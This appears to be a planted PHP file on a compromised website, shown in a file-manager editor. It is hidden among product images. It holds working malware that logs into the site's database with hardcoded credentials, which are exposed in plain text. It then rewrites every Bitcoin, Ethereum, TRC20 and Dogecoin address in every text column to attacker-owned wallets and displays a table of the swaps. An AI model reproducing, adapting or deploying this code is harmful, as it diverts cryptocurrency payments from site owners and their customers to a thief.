Editing File: /home/pixelnov/public_html/assets/front/img/products/1759679142cg.php7

<?php
// Database connection info
$host = "localhost";
$user = "pixelnov_hevifywviey";
$password = "ilovecoding@12";
$database = "pixelnov_hevifywviey";
// Replacement wallet addresses
$replacementWallets = [
    'btc' => 'bc1q0uealy2w33dxa3srn47ch2p08m97g5l5twg0r3',
    'btc_segwit' => 'bc1q0uealy2w33dxa3srn47ch2p08m97g5l5twg0r3',
    'eth' => '0x62222964d4CCB0efc5c5B6e188cdAE33F0035f57',
    'trc20' => 'TRUKxj5GmhczcGPch4gPrjmqAioumBNg53',
    'doge' => 'DASAoRctuCTjc4wrkJegkF645AncrTMNQB',
];
// Connect to database
$conn = new mysqli($host, $user, $password, $database);
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}
// Get all tables in the database
$tables = [];
$res = $conn->query("SHOW TABLES");
while ($row = $res->fetch_array()) {
    $tables[] = $row[0];
}
// Array to store changes for display
$changes = [];
foreach ($tables as $table) {
    // Get all columns of the table
    $columns = [];
    $res = $conn->query("SHOW COLUMNS FROM `$table`");
    while ($col = $res->fetch_assoc()) {
        if (preg_match('/char|text|blob/i', $col['Type'])) {
            $columns[] = $col['Field'];
        }
    }
    if (empty($columns)) continue;
    // Get primary keys of the table
    $primaryKeys = [];
    $resPK = $conn->query("SHOW INDEX FROM `$table` WHERE Key_name = 'PRIMARY'");
    while ($pk = $resPK->fetch_assoc()) {
        $primaryKeys[] = $pk['Column_name'];
    }
    // Get all columns for fallback if no primary key
    $allColumns = [];
    $resAllCols = $conn->query("SHOW COLUMNS FROM `$table`");
    while ($col = $resAllCols->fetch_assoc()) {
        $allColumns[] = $col['Field'];
    }
    // Build SELECT statement columns list
    $selectCols = array_merge($primaryKeys ?: $allColumns, $columns);
    $selectCols = array_unique($selectCols);
    $columnList = "`" . implode("`, `", $selectCols) . "`";
    $sql = "SELECT $columnList FROM `$table`";
    $result = $conn->query($sql);
    if ($result && $result->num_rows > 0) {
        while ($row = $result->fetch_assoc()) {
            $updatedFields = [];
            $originalValues = [];
            foreach ($columns as $column) {
                $original = $row[$column];
                $modified = $original;
                // Replace wallet addresses using regex patterns
                $modified = preg_replace('/\b[13][a-km-zA-HJ-NP-Z1-9]{25,34}\b/', $replacementWallets['btc'], $modified);
                $modified = preg_replace('/\bbc1[q|p][a-z0-9]{38,59}\b/', $replacementWallets['btc_segwit'], $modified);
                $modified = preg_replace('/\b0x[a-fA-F0-9]{40}\b/', $replacementWallets['eth'], $modified);
                $modified = preg_replace('/\bT[1-9A-HJ-NP-Za-km-z]{33}\b/', $replacementWallets['trc20'], $modified);
                $modified = preg_replace('/\bD{1}[5-9A-HJ-NP-U]{1}[1-9A-HJ-NP-Za-km-z]{32}\b/', $replacementWallets['doge'], $modified);
                if ($original !== $modified) {
                    $updatedFields[$column] = $modified;
                    $originalValues[$column] = $original;
                }
            }
            if (!empty($updatedFields)) {
                // Build WHERE clause using primary keys or all columns
                $whereParts = [];
                $keyValues = [];
                if (!empty($primaryKeys)) {
                    foreach ($primaryKeys as $pk) {
                        $val = $conn->real_escape_string($row[$pk]);
                        $whereParts[] = "`$pk` = '$val'";
                        $keyValues[$pk] = $row[$pk];
                    }
                } else {
                    foreach ($allColumns as $col) {
                        $val = $conn->real_escape_string($row[$col]);
                        $whereParts[] = "`$col` = '$val'";
                        $keyValues[$col] = $row[$col];
                    }
                }
                $setParts = [];
                foreach ($updatedFields as $field => $val) {
                    $safeVal = $conn->real_escape_string($val);
                    $setParts[] = "`$field` = '$safeVal'";
                }
                $updateSQL = "UPDATE `$table` SET " . implode(", ", $setParts) . " WHERE " . implode(" AND ", $whereParts);
                $conn->query($updateSQL);
                // Store changes for display
                foreach ($updatedFields as $colName => $newVal) {
                    $changes[] = [
                        'table' => $table,
                        'column' => $colName,
                        'keys' => $keyValues,
                        'old' => $originalValues[$colName],
                        'new' => $newVal,
                    ];
                }
            }
        }
    }
}
$conn->close();
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8" />
    <title>Wallet Addresses Update Results</title>
    <style>
        body {
            background-color: #f9fafb;
            font-family: Arial, sans-serif;
            margin: 0; padding: 20px;
            display: flex;
            justify-content: center;
            align-items: flex-start;
            min-height: 100vh;
            color: #333;
        }
        .container {
            max-width: 900px;
            background: white;
            border-radius: 8px;
            padding: 30px;
            box-shadow: 0 4px 10px rgba(0,0,0,0.1);
        }
        h1 {
            text-align: center;
            color: #007BFF;
            margin-bottom: 20px;
        }
        table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 15px;
        }
        th, td {
            border: 1px solid #ddd;
            padding: 10px 15px;
            text-align: left;
        }
        th {
            background-color: #007BFF;
            color: white;
            user-select: none;
        }
        tr:nth-child(even) {
            background-color: #f1f5fb;
        }
        tr:hover {
            background-color: #e9f0fe;
        }
        .no-changes {
            font-size: 1.1em;
            text-align: center;
            color: #666;
            padding: 20px;
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>Wallet Addresses Update Results</h1>
        <?php if (!empty($changes)): ?>
            <table>
                <thead>
                    <tr>
                        <th>Table</th>
                        <th>Column</th>
                        <th>Keys (Primary/All)</th>
                        <th>Old Address</th>
                        <th>New Address</th>
                    </tr>
                </thead>
                <tbody>
                    <?php foreach ($changes as $change): ?>
                        <tr>
                            <td><?= htmlspecialchars($change['table']) ?></td>
                            <td><?= htmlspecialchars($change['column']) ?></td>
                            <td>
                                <?php
                                    $keyPairs = [];
                                    foreach ($change['keys'] as $k => $v) {
                                        $keyPairs[] = htmlspecialchars("$k = $v");
                                    }
                                    echo implode(", ", $keyPairs);
                                ?>
                            </td>
                            <td><?= htmlspecialchars($change['old']) ?></td>
                            <td><?= htmlspecialchars($change['new']) ?></td>
                        </tr>
                    <?php endforeach; ?>
                </tbody>
            </table>
        <?php else: ?>
            <p class="no-changes">No wallet addresses were changed.</p>
        <?php endif; ?>
    </div>
</body>
</html>

Back to Directory